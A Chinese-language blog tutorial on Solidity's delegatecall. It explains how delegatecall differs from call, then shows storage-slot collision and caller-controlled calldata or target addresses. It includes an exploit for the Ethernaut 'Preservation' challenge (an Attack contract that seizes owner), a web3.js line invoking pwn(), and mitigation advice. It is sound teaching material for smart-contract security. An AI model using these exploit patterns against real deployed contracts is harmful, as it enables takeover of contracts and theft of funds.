Solidity中的delegatecall杂谈

阅读量    87516 |   稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

前言

现在智能合约越来越火,对应的其暴露出来的问题也越来越多,其主流的solidity语言的很多特性感觉也慢慢得到了大家的重视,确实你能感觉到它的很多特性跟其它的语言有较大的区别,尤其是涉及到以太坊部分的存储等方面时,今天就简单聊聊solidity里的delegatecall

 

基本的使用

首先我们还是简单回顾一下solidity里的delegatecall函数,它与call其实差不多,都是用来进行函数的调用,主要的区别在于二者执行代码的上下文环境的不同,当使用call调用其它合约的函数时,代码是在被调用的合约的环境里执行,对应的,使用delegatecall进行函数调用时代码则是在调用函数的环境里执行,对于这一主要区别我们可以来看一个简单的例子

contract calltest {
    address public b;

    function test() public returns (address a){
        a=address(this);
        b=a;

    }
}
contract compare {
    address public b;

    address testaddress = address of calltest;
    function withcall(){
        testaddress.call(bytes4(keccak256("test()")));
    }
    function withdelegatecall(){
        testaddress.delegatecall(bytes4(keccak256("test()")));
    }
}

在这个例子里我们将分别使用call和delegatecall来调用calltest合约的test函数,对比一下二者的运行差异,test函数主要是用来获取当前代码执行的合约地址

这里需要另外提一句的就是solidity中的函数选择器,当你给call传送的第一个参数为四个字节时EVM就会把这四个字节作为你要调用的函数的id,然后在合约里进行查找,而函数id的生成规则就是其函数签名的sha3的前4个bytes,函数签名就是带有括号括起来的参数类型列表的函数名称,也就是我们此处看到的形式,因为test不用传送参数,所以此处看起来还是比较简洁的,接下来我们进行测试

首先调用withcall函数,此时我们来看合约状态

很明显此时被更新的是被我们调用的calltest合约里的b变量,而且值即为calltest合约地址,接下来我们调用withdelegatecall函数

这次被更新的是我们调用合约的b变量,而且值即为我们调用合约的地址,这样二者的区别应该还是挺清楚了,本身delegatecall在某种程度上也是为了方便代码的复用,不过目前来看其设计还是带来了很大的麻烦

 

不当的使用

接下来我们就聚焦一下使用delegatecall可能带来的隐患

当CALLDATA可控时

正常我们使用delegatecall来调用指定合约的指定函数时应该是使用我们上面所写的那样将函数选择器所使用的函数id固定以锁定要调用的函数,不过事实上为了灵活性也有一部分的开发人员会使用msg.data来作为直接作为参数,比如下面这个合约

contract A {

  address public owner;

  function pwn() public {
    owner = msg.sender;
  }
}

contract Deletest {

  address public owner;
  address Address=address of A;

  function Deletest()  {
    owner = msg.sender;
  }

  function() public {
    Address.delegatecall(msg.data);
    }
}

这里用到的delegatecall我们是可以控制其发送的data数据的,这也就意味着我们可以调用合约A里的任意函数,这样实际上也相当于是call注入了,此处因为合约A中所存在的恶意pwn函数,我们便可以通过调用它来修改合约Deletest的owner变量为我们自己,至于这部分攻击的实现我们可以通过发送一笔交易来实现,比如此处delegatecall的调用在fallback函数内,我们可以直接向合约发送一笔交易来触发
这里还是推荐用web3.js来进行控制,设置constract后即可直接使用下面的代码来完成对pwn()函数的调用
contract.sendTransaction({data:web3.sha3(“pwn()”).slice(0,10)});

被调用合约的地址可控

其实这部分内容才是我想讲的重点,它所体现的特性又一次与solidity的存储特性息息相关
我们先来看看简单的情况
最简单的当然就是被调用的合约地址直接使用了我们传递的参数,比如下面这种

contract C{
    function tt(address _contract) public {
        _contract.delegatecall(msg.data);
    }
}

当然其参数不一定得是msg.data,哪怕固定了函数名和参数我们也可以创建一个合约来满足条件,这样的危害还是非常大的,虽然一般也碰不上这样写的

然后我们再来看看较为复杂的情况,不过首先我们得来指出我们前面所使用的例子存在的问题,比如我们所使用的第一个合约,简单修改一下得到

contract calltest {
    address public c;
    address public b;

    function test() public returns (address a){
        a=address(this);
        b=a;

    }
}
contract compare {
    address public b;
    address public c;
    address testaddress = address of calltest;
    function withdelegatecall(){
        testaddress.delegatecall(bytes4(keccak256("test()")));
    }
}

看起来似乎没什么问题,但是两个合约的b与c向量的位置不同,我们来看一下执行的结果

看起来似乎有点出乎意料,被更改的变量不是b而是c,这似乎与我们调用的代码不一样,然而事实上这里涉及到了使用delegatecall时的访存机制

我们知道使用delegatecall时代码执行的上下文是当前的合约,这代表使用的存储也是当前合约,当然这里指的是storage存储,然而我们要执行的是在目标合约那里的opcode,当我们的操作涉及到了storage变量时,其对应的访存指令其实是硬编码在我们的操作指令当中的,而EVM中访问storage存储的依据就是这些变量的存储位,对于上面的合约我们执行的汇编代码如下

sload即访存指令,给定的即访问一号存储位,在我们的主合约中即对应变量c,在calltest合约中则对应于变量b,所以事实上调用delegatecall来使用storage变量时其实依据并不是变量名而是变量的存储位,这样的话我们就可以达到覆盖相关变量的目的,最近ethernaut就更新了一道利用这种特性的题目,大致代码如下

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint public storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor() public {
    timeZone1Library = address of library1; 
    timeZone2Library = address of library2; 
    owner = msg.sender;
  }

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint public storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

这里有两个delegatecall的调用,目标分别为不同的librarycontract合约的setTime()函数,可以看出本来的意思是想分别用这两个函数来更新本合约的storedTime,当然,这里为了方便就拿一个library合约直接代替了,通过上面得到的认知,我们发现这里更新的storedTime在library合约里也是storage变量,这意味着我们可以借用它来覆盖主合约里的对应位置的变量,这里我们可以覆盖的即timeZone1Library变量,再观察一下我们不难发现操作了它以后我们即相对于操纵了被调用合约的地址,这样我们就可以自己创建一个合约并执行任意的函数了

接下来我们简单测试一下,首先部署两个libraryContract合约,将其地址填入我们的主合约,然后部署主合约准备测试,我们用于攻击的合约如下

contract Attack {
  uint padding1;
  uint padding2;
  address public owner;

  function setTime(uint _time) public {
      owner = tx.origin;
  }
}

因为我们最终要控制的目标即主合约的owner对应的存储位为3,所以我们要在前面放两个用于占位的变量,接下来将Attack合约的地址覆盖到主合约的timeZone1Library,直接把其作为参数传递给setSecondTime函数即可

可以看到此时timeZone1Library已经被修改为我们的攻击合约,此时再调用setFirstTime函数即可成功更改owner变量

 

防范措施

从上面的利用方式我们可以看到delegatecall的问题主要是两方面,一方面是进行调用时发送的data或者被调用的合约地址可控,这样可能会恶意函数的执行,造成很大的危害,对于这种漏洞还是需要开发人员按照安全的编写方法正确实现delegatecall的使用,避免遭到恶意的利用,而另一方面就是在这种较复杂的上下文环境下涉及到storage变量时可能造成的变量覆盖,对于这种漏洞感觉如有需要还是避免直接使用delegatecall来进行调用,应该使用library来实现代码的复用,这也是目前在solidity里比较安全的代码复用的方式

其实library使用的基础也是delegatecall,不过它是一种较特别的合约,相比普通合约有几个特别的点,包括没有storage变量,无法继承或被继承,不能接收ether,要使用它来访问storage变量就得靠引用类型的传递了,这部分的内容也有很多,我们下回再说

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多